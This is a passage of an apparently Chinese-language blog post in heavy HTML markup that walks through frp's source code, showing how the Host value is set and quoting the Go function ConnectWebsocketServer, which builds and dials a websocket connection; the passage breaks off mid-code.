block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">可以看到Host是通过 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">config</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Location</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">Host</span></code>进行赋值的，我们再一步一步的往回看调用即可。</p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 15px;white-space: pre-line;line-height: 30px;color: rgb(74, 74, 74);text-align: start;">同时frp调用 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span></code>依赖在 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">pkg</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">util</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">net</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">/</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">websocket</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">.</span><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">go</span></code>里的 <code style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);font-size: 16px;line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">ConnectWebsocketServer</span></code>方法</p><pre style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(247, 243, 247);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34; !important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="list-paddingleft-2" style="padding-top: 10px;padding-bottom: 10px;padding-left: 30px;list-style-position: initial;list-style-image: initial;color: transparent;overflow-y: auto;list-style-type: none !important;"><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">func </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">ConnectWebsocketServer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> error</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;ws://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> addr </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">FrpWebsocketPath</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    uri</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> url</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Parse</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    origin </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(145, 139, 59);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;http://&#34;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">+</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> uri</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Host</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> websocket</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NewConfig</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">addr</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> origin</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">!=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(123, 89, 192);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">nil</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    cfg</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&amp;</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">net</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Dialer</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Timeout</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(166, 89, 38);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">10</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> time</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span style="box-sizing: border-box;color: rgb(81, 106, 236);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Second</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li style="box-sizing: border-box;padding-left: 1em;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;list-style-type: decimal;margin-top: 6px !important;"><p><br/></p></li><li style="box-sizing: border-box;padding-left: 1em;list-style-type: decimal;margin-top: 6px !important;"><p><span style="box-sizing: border-box;color: rgb(74, 74, 74);display: block;line-height: 22px;font-size: 14px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 22px;display: block;word-break: inherit !important;"><code style="white-space: pre-wrap;box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;"><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    conn</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> err </span><span style="box-sizing: border-box;color: rgb(27, 24, 27);line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:=</span><span 